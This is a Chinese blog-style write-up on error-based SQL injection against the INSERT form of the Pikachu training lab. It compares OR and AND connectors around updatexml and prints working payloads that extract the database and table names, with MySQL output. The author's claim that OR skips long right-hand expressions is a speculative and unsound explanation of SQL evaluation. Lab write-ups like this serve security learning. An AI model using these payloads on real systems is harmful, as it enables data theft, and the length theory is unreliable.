项目场景:
在进行pickchu靶场(insert)的注入时,在使用updatexml这个函数的过程中,发现了使用and与or进行连接时导致的不同结果。
问题描述
1)在进行查询数据库时,不论使用or 还是and都是成功的:
1' or updatexml(1,concat(0x7e,( database() )),0) or'
##
1' and updatexml(1,concat(0x7e,( database() )),0) and'
2)在查询表明时,却发现如果全使用or则数据不能回显,数据库会默认为执行,并插入结果为1的值:
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'
此时,数据库执行的代码如下:
insert into member(username,pw,sex,phonenum,email,address) values('11' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'',md5('11'),'11','11','11','11');
此处,数据库会直接默认username 的值为1,进而执行插入操作。但是,如果将or(经实验发现仅需改掉第一个or即可)改成and,则能够进行报错回显:
mysql> insert into member(username,pw,sex,phonenum,email,address) values('11' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'',md5('11'),'11','11','11','11');
ERROR 1105 (HY000): XPATH syntax error: '~httpinfo,member,message,users,x'
原因分析:
经本人尝试了大量的sql语法尝试后发现有可能的原因如下:
注:
1、 由数据库引擎决定如何存储临时结果。每个数据库引擎的实现可能不同。用户得到的是由行组成的结果集(如果查询产生结果)
2、 当它发现匹配时,它可能不会继续。一切都取决于特定的SQL实现,但总的来说,继续查找匹配不会很高效,所以sql语句执行时可能会略过。
也就是说,由1、2可知,当执行or时,如果后面语句长度、复杂性适中,则sql有可能会执行判断or的语句;若or后面语句过长,则当or的左侧判断为真时,则就有可能不会执行后面的语句了,以此来提高执行效率。(or的判断顺序由左向右)
如下例子:
mysql> select '1' or updatexml(1,concat(0x7e,( select database() )),1) or '1' ;
ERROR 1105 (HY000): XPATH syntax error: '~pikachu'
--+ 由于or的右侧,即updatexml语句较短,因此sql选择执行,所以会有错误回显
select '1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' limit 0,2),0x7e),0) or '';
+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| '1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' limit 0,2),0x7e),0) or '' |
+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
--+ 此处,由于or右侧部分执行的长度过长,因此sql语句在判断or的左侧即:'1'为真后便不再执行后半部分。
--+因此,语句直接输出结果为1
mysql> select '' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' limit 0,2),0x7e),0) or '1' ;
ERROR 1105 (HY000): XPATH syntax error: '~httpinfo,member,message,users,x'
--+此处,由于or的左侧为假,故sql依旧会执行右侧
以上,便是本人经过尝试得出的结论。(如有错误欢迎指正)
解决方案:
因此,在sql注入的过程中,最好or与and都实验一下,最好首选and。
因为and语句会要求sql将左右两部分都进行执行的!!!